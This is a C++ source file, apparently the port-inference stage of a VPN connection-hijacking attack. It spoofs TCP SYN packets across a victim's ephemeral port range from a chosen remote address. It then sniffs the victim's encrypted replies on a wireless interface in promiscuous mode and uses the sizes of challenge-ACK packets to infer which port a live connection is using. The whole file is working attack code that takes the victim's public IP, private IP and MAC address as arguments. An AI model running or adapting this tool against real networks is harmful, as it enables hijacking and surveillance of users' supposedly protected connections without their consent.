#include <tins/tins.h>
#include <cassert>
#include <iostream>
#include <string>
#include <unistd.h>
#include <thread>


using std::thread;
using std::cout;
using std::string;
using namespace Tins;


int current_spoof_port, best_port, chack_count;
bool sniffed_chack = false;
bool is_running = true;
bool verbose = false;
bool count_chacks = false;
bool quick_mode = true; // if true we don't recheck the port

int num_sent = 0;
string victim_wlan_addr;
string remote_addr;



void print_divider(int count) {
  int i = 0;
  while (i < count) {
    if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
    i++;
  }
}

bool handle_packet(PDU &some_pdu) {

  const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  // keep track of the last port we spoofed
  if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();

  if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client

    const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
    //cout << "sniffed something: " <<payload << "\n";
    const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu

    if (remainder != 0) {

      //cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";

      // If it's not working as expected, uncomment the line above to
      // check what the typical remainder is looking like as it scans the
      // port range. In this case, ubuntu 19, if you uncomment the line above
      // it would repeatedly sniff 41 packets until the correct port, then it
      // would sniff a 48 packet

      if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS 
        if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";

        if (count_chacks) chack_count ++;
        if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n";
        if (!sniffed_chack) {
          sniffed_chack = true;
          best_port = current_spoof_port;
        }
      }
    }
  }
  return is_running;
}

void sniff_stuff() {
  SnifferConfiguration config;
  config.set_promisc_mode(true);
  Sniffer sniffer("wlp1s0", config);
  sniffer.sniff_loop(handle_packet);
}



bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {


  PacketSender sender;
  NetworkInterface iface("wlp1s0");
  count_chacks = true;
  chack_count = 0;

  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(possible_port, sport);
  TCP& tcp = pkt.rfind_pdu<TCP>();
  tcp.set_flag(TCP::SYN, 1);

  int count = 0;
  usleep(1000000 / 2);

  while (count < num_checks) {
    sender.send(pkt, iface);
    usleep(1000000 / 2); // must sleep half second due to chack rate limit
    count ++;
  }

  usleep(1000000);

  // should have just sniffed as many chacks as we just sent
  if (verbose) cout << "end of rechack, count : " << chack_count << ", should be: " << num_checks << " \n";

  if (chack_count >= num_checks) {
    return true;
  }

  count_chacks = false;
  num_sent += count;

  return false;

}



// Spreads SYNs across the victim's entire port range
// coming from a specific remote_ip:port
//
int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {

  PacketSender sender;
  NetworkInterface iface("wlp1s0");

  int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
  int end_port = 42000;//61000;
  int i;

  EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
  TCP& tcp = pkt.rfind_pdu<TCP>();
  tcp.set_flag(TCP::SYN, 1);

  int current_port = best_port;

  for (i = start_port; i < end_port; i ++) {

    tcp.dport(i); // set the packets dest port to current guess
    sender.send(pkt, iface);
    num_sent ++;
    usleep(10);

  }

  usleep(1000000); // sleep to give victim time to respond w chack

  current_port = best_port;
  if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";

  // In round 1 we spoofed fast (10 sleep) to get a good estimate of the
  // port in use. Round 2, we spoof slower from about 50 packets back to account
  // for the delay in response and hopefully get the exact port number in use

  print_divider(1);
  usleep(1000000 / 2);
  sniffed_chack = false;

  int j;
  int send_delay = 300;

  if (verbose) cout << "Starting round 2 spread from: " << (current_port - send_delay) << " to " << current_port << "\n";
  for (j = (current_port - send_delay); j < current_port; j++) {
    tcp.dport(j); // set the packets dest port to current guess
    sender.send(pkt, iface);
    num_sent ++;
    usleep(600 * 5);
  }

  usleep(1000000);

  if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";

  return best_port;

}



int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {

  bool is_found = false;
  int current_port = 0;

  while (!is_found) {

    current_port = phase_two_spread(dest_mac, src_mac, remote_addr, sport, victim_ip);
    print_divider(1);

    if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";

    cout << current_port << "\n";

    if (quick_mode) {
      is_found = true;
    } else {
      is_found = rechack(2, current_port, dest_mac, src_mac, remote_addr, sport, victim_ip);
    }

  }

  return current_port;

}




int main(int argc, char** argv) {

  if (argc != 5 && argc != 6) {
    cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n";
    return 0;
  }

  remote_addr = argv[1];
  int sport = atoi(argv[2]);
  victim_wlan_addr = argv[3];
  string dest_ip = argv[4];
  //verbose = true;

  string dest_mac = argv[5];
  string src_mac = "";

  print_divider(2);

  thread sniff_thread(sniff_stuff);

  int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
  is_running = false;
  sniff_thread.detach();
  //sniff_thread.join();

  print_divider(1);
  if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";
  cout << p << "\n";

  return p;
}